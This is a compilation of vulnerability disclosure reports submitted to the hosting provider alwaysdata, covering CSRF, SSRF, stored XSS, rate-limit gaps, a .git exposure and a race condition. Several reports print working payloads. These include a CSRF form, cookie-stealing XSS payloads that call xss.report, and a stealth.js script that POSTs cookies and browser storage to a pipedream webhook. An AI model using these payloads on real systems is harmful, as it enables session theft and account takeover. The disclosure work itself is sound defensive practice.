Security vulnerabilities

The password reset endpoint on admin.alwaysdata.com lacks rate limiting, allowing an attacker to flood a user’s inbox with hundreds or thousands of password reset emails in a short time.

I was able to generate 500+ emails within 30 minutes using Burp Community Edition. An attacker using Burp Pro or custom tools could easily escalate this to thousands of emails in seconds, causing email service abuse, financial impact, and potential denial of service for legitimate users.

This vulnerability could damage the company’s reputation, lead to increased email costs, and affect email delivery reliability for all users.

PoC and screenshot included in the attached PDF report.

Subject: Responsible Disclosure: phpMyAdmin Credentials Leak on Dark Web – alwaysdata.com

**How We Discovered**

Potential Impact

Blind SSRF

attachment: https://admin.alwaysdata.com/support/87908/

This is a pre-account takeover vulnerability caused by a logic flaw that results in any unregistered email address being locked and rendered inaccessible. This issue directly impacts system availability.

attachment : https://admin.alwaysdata.com/support/87907

While performing reconnaissance on your platform, I discovered an endpoint (or publicly accessible resource) that exposes sensitive customer data. This data includes personal information that should not be publicly accessible and poses a serious risk to user privacy and your organization's data security posture.

https://admin.alwaysdata.com/support/87906/ this link contains the bug report

Summary:
When using the email outbound logs filters in the Alwaysdata admin panel, the CSRF token (csrfmiddlewaretoken) is included as a GET parameter in the URL. This token is supposed to be secret and strictly bound to the user session and to a specific request context. More critically, this token is reusable and can be used with different requests and endpoints, which allows an attacker who obtains it to perform multiple state-changing actions on behalf of the victim without requiring any further user interaction.

Steps to Reproduce:

1. Log in to your Alwaysdata admin panel.

2. Navigate to Emails → Outbound Logs.

3. Apply any filter (e.g., by date or keyword).

4. Observe that the URL now contains a parameter such as: csrfmiddlewaretoken=XXXXXXXXXXXX

5. Copy this URL. You will notice that the token remains valid and can be reused for different requests.

Impact:
Information Disclosure: The CSRF token is exposed in browser history, logs, and potentially leaked via the Referer header when the victim visits external websites afterward.
CSRF Exploitation: Since the token is reusable, an attacker can use it to craft malicious requests (delete, modify, send, etc.) and execute them on behalf of the victim, leading to potential account takeover or severe unwanted actions.

Recommendation:
Completely remove the CSRF token from URL parameters. Pass the CSRF token only as a hidden form field or in a custom HTTP header (e.g., X-CSRFToken). Mark tokens as single-use and ensure they expire after each action.

POC: https://admin.alwaysdata.com/support/87905/

#No limit in email length may result in a possible DOS attack in admin.alwaysdata.com

From the page: https://admin.alwaysdata.com/profile When I tried to update the email address, I noticed that the database field was allocating 255 characters there and if the input was more than 255 character that field was truncating.
For example:

haxorsistz+axorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxorsistzhaxoailrsistzh@gmail.com

You will see that the long email is readily accepted and there is no fixed length for this user input parameter.

Mitigation: The email parameter must have a specific user input length

Impact
An attacker can store a large email address as per his requirement which will possibly lead to a DOS attack / Buffer Overflow.

Thank You,

Waleed Anwar

The .git/config file is publicly accessible on the security.alwaysdata.com subdomain. This indicates that the .git directory has not been properly restricted, allowing an attacker to access sensitive Git metadata.

If additional .git files (like .git/HEAD, .git/index, .git/objects/) are also accessible, an attacker could potentially reconstruct the entire source code repository. This can lead to the disclosure of internal source code, credentials, API endpoints, and business logic — posing a serious security risk.

Steps to Reproduce:
Open a browser or use curl to access the following URL:
https://security.alwaysdata.com/.git/config

Observe that the .git/config file is accessible and contains Git repository metadata such as:
[core]

repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true

[remote "origin"]

url = https://internal-repo-url.git

Check other common Git paths:

https://security.alwaysdata.com/.git/HEAD https://security.alwaysdata.com/.git/index https://security.alwaysdata.com/.git/logs/HEAD https://security.alwaysdata.com/.git/refs/heads/ https://security.alwaysdata.com/.git/objects/

accessible, use tools like git-dumper or GitTools-Dumper to reconstruct the repository:
git-dumper https://security.alwaysdata.com/.git/ ./recovered-repo

Impact:
If attackers gain access to the full .git directory, they may be able to:
Download the complete source code of the web application.
Discover hardcoded credentials, API keys, or tokens.
Understand internal application logic and endpoints, increasing the risk of RCE, SQLi, or IDOR attacks.
Enumerate development branch names which may leak information about unreleased features or internal systems.
Perform targeted phishing/social engineering using internal metadata.
This vulnerability is especially concerning as it appears on a security-focused subdomain, which could damage the trust of your users and clients if exploited publicly.

Mitigation:
Immediately restrict access to the .git directory using web server rules.
For Apache, add the following to your .htaccess or config:
RedirectMatch 404 /\.git

For Nginx:
nginx
location ~ /\.git {

  deny all;

}

Review your source code repository for any hardcoded secrets or sensitive information that may have been exposed.

Rotate any exposed credentials or API keys, if applicable.

Add security monitoring for unauthorized access to sensitive files or paths.

Description:

I am doing research related to malware attacks and subsequent attacks on organizations. As far as you know, such attacks were committed against many large companies such as Uber, activision, rockstar, and others.

That might be helpful. Please check that as it can explain most of your questions

https://twitter.com/cglyer/status/1570965878480719873

https://medium.com/@group-ib/what-group-ib-found-about-the-uber-hack-c47cad571ea8

Recently there has been a surge in stolen logs for sale commonly known as Stealer Logs

Stealer logs are malware that is designed to seize login credentials, cookies and files from compromised systems. They work by silently working in the background and exfiltrating the data to an attacker's server.

Several variants of infostealer malware exist, but the primary groups we often encounter are Redline, Raccoon, Vidar, and LummaC2.

During my recent research of analyzing Stealer Logs from various sources, I identified that various credentials belonging to your organisation are leaked.

Intel Source:

IntelX and Telegram Monitoring

It's also important to note that in the event that some of the aforementioned passwords/credentials are no longer working, if the malware is still present on device, then all the accounts should still be considered compromised - My malware logs are not fully up to date and rely on threat intel sources making them available.

Impact

References:

https://flare.io/learn/resources/stealer-logs-and-corporate-access/

https://datadome.co/learning-center/what-is-otp-bot/

https://flare.io/learn/resources/blog/otp-bots/

https://www.infostealers.com/

- Implement mandatory credential rotation protocols.

- Thoroughly examine computing systems for any lingering malware presence.

- Institute Two-Factor Authentication (2FA) across all provided services without exception.

- Deploy a robust password management mechanism ensuring the encryption of stored passwords.

- Provide comprehensive guidance to users on refraining from engaging with unsolicited hyperlinks.

- Disseminate information discouraging the installation of unverified software.

- Foster awareness among users regarding the risks associated with accessing corporate services via non-corporate devices.

- Conduct routine validation exercises by cross-referencing compromised password datasets against the user database to preempt Account Takeover (ATO) incidents.

- Implement a DarkWeb Monitoring Service to capture any exposed logs/credentials/cookies etc.https://[[https://[[https://]]]]

Hi Team,

Description:
I have found that there is a feature to create a duplicate of a database, and during that process, there is an option to choose a recipient. This endpoint lacks proper access control. If an attacker inputs the recipient ID of another organization's database user, it discloses their name.

Additionally, the recipient ID is sequential, numerical, and easily enumerable — making it guessable.

Steps to Reproduce:
1. Log in to Organization A and attempt to create a duplicate of a database. Choose recipient and from this endpoint :

<code> https://admin.alwaysdata.com/database/duplicate/@@/?_field_account=@@ </code>
 and copy the `field_account` parameter.

2. Now, log in to Organization B. Try to create a duplicate database, and when choosing the recipient, capture request using burp suite and from this endpoint

 https://admin.alwaysdata.com/database/duplicate/@@/?_field_account=@@ 

replace the `field_account` parameter with the one copied from Organization A.

You will see that the user details of Organization A are disclosed.

POC Video:
https://drive.google.com/file/d/1u2qZ7wC8nNquBNFJ4kwWoU-oZsXzI-go/view?usp=sharing

Regards,
Ranjet

Hello Team, Vulnerability: CSRF to Change DKIM Key Pair of Victim

Description: I have found that the DKIM key pair regeneration feature lacks proper csrf protection. As a result, if a victim visits an attacker-controlled site, the attacker can regenerate a new DKIM key pair for the victim's domain. This will effectively change the victim’s existing DKIM key.
Steps to Reproduce: NOTE: After adding a domain, the domain ID is assigned in a predictable numeric sequence. I am assuming that the attacker knows the victim's domain ID.

1. Log into your account and save the following code as `1.html`. Replace the domain ID in the script with the victim's domain ID and open the file in your browser.

<html>
  <body>
    <form action="https://admin.alwaysdata.com/domain/117551/dkim/generate/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

2. You will notice that a new DKIM key pair has been generated for the victim’s domain without their consent.

POC Video:
https://drive.google.com/file/d/1LXBYjEXpdIr79f1flq14fSiP3HdETRe-/view?usp=sharing

Regards,
Ranjeet

The username of every single user on Alwaysdata is leaked via the roles.php endpoint. With this information, an attacker can use it to infer the URLs of services their potential victims use, ex. ssh-USERNAME_HERE.alwaysdata.net.

phpPgAdmin is also dumpster fire, it's in the best interest of your company to move away from the service to protect your users. phpPgAdmin is prone to cross-site scripting exploits and potential remote code execution due to the unserialization of user-supplied input (CVE-2023-40619). It's of no use reporting these vulnerabilities to the developers since phpPgAdmin is no longer maintained. Hell, even the CVE I mentioned hasn't been addressed. I urge you to switch to another service or a fork with security updates ASAP.

https://files.catbox.moe/pctk9v.png

Summary
During a security assessment of the api.alwaysdata.com API, a Server-Side Request Forgery (SSRF) vulnerability was identified in the GET /v1/site/doc/?9detl8s0ik=1 endpoint. This vulnerability allows an attacker to manipulate internal server requests and potentially interact with internal services that should not be exposed to the public. _

Vulnerability Details:
Endpoint: GET /v1/site/doc/?9detl8s0ik=1
Host: api.alwaysdata.com
Vulnerability Type: Server-Side Request Forgery (SSRF)
Severity: High

request:
GET /v1/site/doc/?9detl8s0ik=1 HTTP/1.1
Host: api.alwaysdata.com
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Referer: https://api.alwaysdata.com/doc/
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Forwarded-Server: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com

response: 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site</a>
...

Impact
The application is processing the values of X-Forwarded-Host and related headers without proper validation or sanitization. This allows an attacker to manipulate server requests and potentially:

- Access internal services.
- Bypass IP restrictions.
- Enumerate internal infrastructure.
- Perform further attacks like internal port scanning or exploiting internal APIs.

Proof of Concept (PoC) By setting the X-Forwarded-Host header to a Burp Collaborator or OAST domain, I was able to confirm that the server included this manipulated domain in its internal requests and reflected it in the response.

Example:
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com

The response included:
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">...</a>

This confirms the application made a server-side request using the attacker-controlled input.

Recommendations:
- Do not trust client-supplied headers such as X-Forwarded-Host, X-Host, and X-Forwarded-Server.

Vulnerability Name: Email verification bypass on https://admin.alwaysdata.com/

Steps To Reproduce:
1. Create an account with attacker controlled email like nathanlion1983@gmail.com 2. Verify the email. Go to the accounts page https://admin.alwaysdata.com/admin/details/ 3. Now, change personal details and change the email to victim's email alexandrafredrique@gmail.com 
4. It will update the email without asking for any email verification this time, so the sign up is protected with email verification but the internal section doesn't ask for email verification before changing the email.
5. Now what an attacker can do is, add another user(controlled by him) or create access token in this account, and these will give him persistent access of this account, and whenever in future the user comes and uses the account after recovery the attacker will have access to the account with access tokens/the user added by him which has full access.

Proof Of Concept: (How can we add the screenshots as POC, we don't see any option to upload photos)

Impact: CVSS : 9.1Integrity & Confidentiality: attacker can do anything on this account impersonating the user which impacts confidentiality. Can also add things which will be consistent in the account, which results in persistent access which impacts integrity of the account.Similar email verification bypass reports are - https://hackerone.com/reports/617896 https://hackerone.com/reports/1040047 (but the mentioned reports doesn't have persistent access, these only demonstrate email verification bypass, thus our vulnerability is Critical and the mentioned are High)

Mitigation: The backend is trusting the email after email change, as the account was already verified  at account creation, but it needs to ask for email verification at the email change stage as well, otherwise no point putting email verification at registration.

To: Alwaysdata IT Security Team
From: Raden Adhiyaksa Indiharto
Date: June 9, 2025
Vulnerability: Sensitive Data Exposure

Dear Alwaysdata Security Team,

I hope this message finds you well. I am reaching out to responsibly disclose a security issue I have identified within your infrastructure that may pose a risk to your services and your users.

Vulnerability Summary During passive reconnaissance of your publicly accessible infrastructure, I discovered multiple sensitive API keys and service credentials exposed in plaintext, including:
1. Twilio ACCOUNT_SID and APP_SID values
2. Heroku API keys
3. Amazon AWS S3 bucket URLs

These secrets were found in a file named secret.txt on your domain (alwaysdata.com). The exposed credentials could potentially allow unauthorized access to third-party services, leakage of customer data, or resource abuse.

Steps to Reproduce 1. Access the Alwaysdata public directory.
2. Locate the file named secret.txt.
3. Run the following commands to filter sensitive credentials:

cat secret.txt | grep Heroku
cat secret.txt | grep twilio
cat secret.txt | grep aws

4. This revealed a number of API keys and identifiers, as shown in the screenshots I have attached to this report.

Suggested Remediation 1. Immediately remove the publicly exposed file or restrict access to it.
2. Revoke and rotate all exposed API keys (Twilio, Heroku, AWS, etc.).
3. Conduct an internal audit to ensure no unauthorized access has occurred using these credentials.
4. Consider implementing secret scanning tools in your CI/CD pipelines to prevent future exposures.

Additional Note At this point, no further exploitation has been carried out, and no services have been interacted with using the exposed credentials. However, if you require a deeper assessment or verification of the actual impact and exploitability, I am open to performing controlled testing with your permission.

Please advise if the investigation should stop at this discovery phase, or if you would like me to assist further in validating the scope of the exposure.

Disclosure Policy This report has not been shared publicly. I am committed to responsible disclosure and will not publish or use this information in any way that may harm your services or users. Please let me know if you need any further details or assistance in mitigating this issue.

Thank you for your attention, and I look forward to your response.

Kind regards,
Raden Adhiyaksa Indiharto

email: radenadhiyaksa89@gmail.com

Link Video, Image, and File PoC
https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

Hi my name is Rehan and I discovered that the login endpoint at https://admin.alwaysdata.com/login/?next=/ doesn't have any sort of rate limiting in place.

This leads to account takeover of any user. You just have to know his/her email. That's the only prerequisite.

What I did:
1. I sent 50 login requests using intruder.

2. Set the intruder with fake 49 passwords and 50th being the correct password.

3. All requests go through without any error like too many requests, IP block or even temporary account lockout.

4. All 49 requests were processed with 200 OK implying that the password is wrong. However the 50th request gives a 302 error confirming the correct password.

IMPACT:
Account takeover:

This will give an attacker a way to send lot of requests and ultimately takeover the victim account when the response shows a 302 redirection.

I have read your stance on absence of rate limit on password reset endpoints as i read the tasklist. I know email flooding isn't really a big of a problem. However, I'm sending you this report because having no rate limit on login endpoint doesn't seem all too well. This is because having no rate limit on login leads to account takeover of any user.

It's not about flooding someone's inbox but actually taking over someone else's account. I hope you get my point here.

Recommendation:

1. Implement rate limiting after certain number of attempts. Give the user some time to try again like after 5 minutes.

2. Block the IP from sending more requests and send an automated message to victim informing him of login attempts.

#No email verification required when we change email from settings

Hello Team,

Issue:
When we try to signup with an email, it asks us for clicking a email validation link which is sent to our email, then we have to login, without clicking that link, we cannot login, but when we change email from user settings page/edit settings page, it doesn't asks us for validation..

Impact:
For example, a user creates an account with his email (user@example.com) and verifies it using the link which has been sent to his email, as he/she have access to user@example.com, but next he goes to settings and in email change mechanism, he can put any email like (president@whitehouse.gov) and no verification is required, and the user can login with that email and access his account with the email president@whitehouse.gov, and do some abusive or not good activities and the company will be blamed!

New steps to reproduce:
Go to profile settings
Enter any email
Submit settings → Account will be accessible without verification!

How to fix?
Email verification/validation should be required when a user changed email from user settings page..
I hope you'll fix it soon.

Thank You,

Waleed Anwar

Dear Alwaysdata IT Team,

My name is Raden Adhiyaksa Indiharto, and I am a Security Researcher. I have identified a Blind Stored Cross-Site Scripting (XSS) vulnerability within your web application, specifically in the contact form endpoint located at:

https://www.alwaysdata.com/en/contact/

The purpose of this letter is to responsibly disclose the details of this vulnerability in order to assist your team in addressing this security issue effectively.

Vulnerability Summary

• Vulnerability Type: Blind Stored Cross-Site Scripting (XSS)
• Affected Endpoint: /en/contact/ (POST method, JSON input)
• Payload Location: Malicious scripts are injected into the form fields form-mail-name and form-mail-message.
• Impact: The injected JavaScript code executes when an administrator or user views the stored input on the dashboard or relevant data views.
• Severity: Medium to High (depending on victim interaction)

CVSS (v3.1) Score Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) None (N)
Base Score: 7.4 (High)
Severity Rating: High

Technical Details The vulnerability was demonstrated by sending a crafted JSON payload to the contact form endpoint, as shown below:

{
  "form-mail-email": "attacker@gmail.com",
  "form-mail-name": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>",
  "form-mail-message": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>"
}

This payload injects an iframe containing a script that creates a new image request to an external server, sending the victim’s cookies as query parameters. Because the payload is stored, it executes silently when the stored data is accessed, classifying it as a blind stored XSS vulnerability.

Trigger Condition The malicious script executes only when an administrator or user opens the dashboard or data view where the stored input is displayed. This delayed execution makes the vulnerability harder to detect.

Server Response

HTTP/2 200 OK
Content-Length: 2
ok

confirming that the malicious input was successfully stored.

Potential Impact

• Unauthorized disclosure of session cookies and sensitive data.
• Potential account takeover, privilege escalation, and unauthorized access.
• Difficult to detect due to blind nature (the attacker does not see immediate effects).

Recommendations for Mitigation

• Input Validation and Sanitization:

Filter and sanitize all inputs to reject or escape HTML and script content.

• Output Encoding:

Properly encode data before rendering it in the UI to prevent script execution.

• Content Security Policy (CSP):

Implement CSP headers to restrict sources of executable scripts.

• Security Testing:

Engage in regular security audits and include XSS-focused penetration testing.

Note The payload works by executing only when an administrator or user opens the dashboard or view page where the stored input is displayed. This confirms that further exploitation would require the victim to interact with that interface. At this stage, you may consider whether this level of proof of concept sufficiently demonstrates the risk, or if additional exploitation steps are necessary to showcase the impact in greater detail.

Thank you for your attention and commitment to security.

Best regards,
Raden Adhiyaksa Indiharto
Security Researcher

Link Video and Image Proof of Concept https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

From:
Raden Adhiyaksa Indiharto
Security Researcher
Email: radenadhiyaksa89@gmail.com

To:
IT Team, Alwaysdata
https://alwaysdata.com

My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.

This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.

Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)

Vulnerable Parameter: ?page=

Affected URL:

https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active

Payload (URL Encoded):

<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>

Impact

• The payload is stored and rendered within the page, executed silently when the vulnerable URL is loaded by other users (admin/user).
• This may allow attackers to steal cookies, hijack sessions, or gather sensitive information stealthily.

Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser:
stealth.js script:

(function () {
  const data = {
    cookie: document.cookie,
    location: location.href,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    platform: navigator.platform,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    screen: {
      width: screen.width,
      height: screen.height
    },
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    html: document.documentElement?.outerHTML?.slice(0, 1000),
    ts: new Date().toISOString(),
    id: Math.random().toString(36).substring(2)
  };

  // Kirim via fetch (utama)
  fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  }).catch(() => {
    // Fallback jika fetch gagal
    new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`;
  });
})();

This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.

Recommendations

• Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
• Implement strict input validation and whitelist allowed characters.
• Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
• Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.

I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.

Thank you for your attention and commitment to security.

Sincerely,
Raden Adhiyaksa Indiharto
Security Researcher
email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa

Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.

Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]

Summary: There is a problem with how AlwaysData handles email verification during account registration. After clicking the email verification link, the user is automatically logged in without needing to enter their email and password again. This is a security risk.

Steps to Reproduce: 1. Go to: https://www.alwaysdata.com/en/register/, as an attacker.
2. Register a new account using the victim's email address.
3. The victim will click the verification email that looks like this: https://admin.alwaysdata.com/user/validate/?user_id=...&token=...&expiration=… 5. After clicking the link, he will see a message that says: "Your registration is now validated, you can use all the services."
6. Now, the Attacker will click on the link that looks like: "I have validated my registration" and successfully log into the victim's account.
7. As the victim is directly logged into his account, he will not identify that someone has also logged into his account.

Issue: After clicking the email verification link, the website allows users to access their account directly. It does not ask for a password or login again. This means if someone else gets access to your email, they can take over your account without knowing your password.

Recommendations: 1. After clicking the email verification link, the user should be taken to the login page.
2. The system should ask the user to enter their email and password to log in.

POC: https://drive.google.com/file/d/17HZuLeTVPW52kIEH03C2xU-OWnOBFvZG/view?usp=sharing

# Weak password policy in Webmail.alwaysdata.com

Hello Team, I hope you are doing well. While, Researching in your domain I found Weak password policy in Webmail.alwaysdata.com.

I get to know that you are using strong password policy.
I gone through application and checked for that.
and get to know that as per ISO9001 security compliance weak password policy.

#Steps to Reproduce:

1. Login into https://admin.alwaysdata.com/login/.
2. Go to https://admin.alwaysdata.com/mailbox/ and Change Password to 👨‍👩‍👧‍👦.
3. Password will be Changed to 👨‍👩‍👧‍👦.

Impact:

Use Strong Password Policy and remove these Unicode Character's.

Thank You,

Waleed Anwar

# Insecure Cache-Control Leading to View Email and Message's in https://www.alwaysdata.com/en/abuse/

Hello Team, I hope you are doing well. While, Researching in your domain I found Insecure Cache-Control Leading to View Email and Message's in https://www.alwaysdata.com/en/abuse/

# Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/abuse/.
2. Fill the form and submit it.
3. Visit every page in url or press back button in browser you can see that email or any sensitive message's are already feeded.

# Impact:

In a PC scenario in an office or in a library or in a coffee shop to view sensitive message's and email also.

# Note:

Tested in Chrome latest version, Mobile Device, FireFox and IE.

Thank You,

Waleed Anwar

Summary:

Hello,

I have identified a critical race condition vulnerability on alwaysdata.com that allows any authenticated user to bypass account restrictions and provision unlimited 100MB free cloud instances.
This issue can be exploited using Burp Suite along with the Turbo Intruder extension, although other tools capable of concurrent requests may also be used.

Steps to Reproduce:

1. Log into any valid user account on https://admin.alwaysdata.com.
2. Make sure the account does not already own a 100MB free cloud instance.
3. Start creating a new 100MB free cloud subscription via the interface.
4. Intercept the request sent to the following endpoint:

 POST /admin/account/add/ HTTP/1.1
 Host: admin.alwaysdata.com

5 - Modify the name parameter by inserting %s, which Turbo Intruder will later replace using a wordlist.
6 - Configure Turbo Intruder to fire multiple concurrent requests to that endpoint using the modified payload:

 csrfmiddlewaretoken=<csrf>&name=%s&password=<yourpass>&location=datacenter_3&product=1&period=1mo&submit=

7 - Launch the Turbo Intruder attack.

You’ll observe multiple responses with a similar length (~270), which indicates that several cloud instances were successfully created concurrently.

Check your subscription list: you'll notice that multiple 100MB free clouds have been added, bypassing the expected 1-instance restriction.

Proof of Concept (Video):

https://youtu.be/GWuo8FdqC1s

Impact:

This vulnerability allows any authenticated user to:

• Bypass subscription restrictions and claim multiple "free tier" services.

• Abuse storage resources by stacking unlimited 100MB instances.

• Impact the platform’s financial stability due to misuse of free offerings.

• Overload infrastructure, potentially degrading performance or availability for other users.

• Undermine alwaysdata’s business model, by rendering subscription limits ineffective.

In short, this vulnerability could be weaponized to consume massive amounts of storage at zero cost, with no rate limit or quota enforcement preventing abuse.

Recommendations: Implement server-side locking or atomic operations to prevent concurrent subscription creation.

Apply idempotency checks and enforce strict rate limiting.

Consider rejecting duplicate subscription requests at the application logic level, even under concurrent load.

Contact: If you need additional information, reproduction support, or testing help, feel free to reach out.

Best regards,
dav3n

# Summary:
The discovered vulnerability allows for the bypass of Two-Factor Authentication (2FA) mechanisms through the exploitation of leaked cookies. By intercepting and utilizing these cookies, an attacker can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system.

# Steps To Reproduce:
1.Navigate to the account settings and enable 2FA.
2.Log out and log back in using valid credentials.
3.Enter the required 2FA code to proceed.
4.Export session cookies using a cookie editor tool.
5.Paste the copied cookies into another browser
6 Access the account without providing the 2FA code,2FA Authentication bypassed.

# Mitigation:
Introduce device-based Two-Factor Authentication (2FA) mechanisms that require additional verification steps when signing in from new or unrecognized devices, browsers, or locations. This adds an extra layer of security by verifying the identity of the user and the device being used for authentication.

# Impact:
The vulnerability allows attackers to bypass Two-Factor Authentication (2FA) mechanisms by stealing and utilizing session cookies obtained through various means, such as man-in-the-middle (MITM) attacks using tools like Evilginx2. By exploiting this vulnerability, attackers can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system and potentially leading to unauthorized data access, fraudulent transactions, or other malicious activities.

Thank You,

Waleed Anwar

# Insecure Cache-Control Leading to View Email and Password in https://webmail.alwaysdata.com/?from_roundcube=1.

Hello Team, I hope you are doing well. While, Researching in your domain I found Insecure Cache-Control Leading to View Email and Password in https://webmail.alwaysdata.com/?from_roundcube=1.

# Steps to Reproduce:

1. Login to https://webmail.alwaysdata.com/?from_roundcube=1.
2. Visit every Pages in https://webmail.alwaysdata.com/?from_roundcube=1 after the login.
3. Logout from the account.
4. Click Back Button 9 to 10 times.
5. You can get your email and password in the Login form. ( Toggle to See the Password)

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Mobile Device.
Doesn't exploitable in FireFox.

Thank You,

Waleed Anwar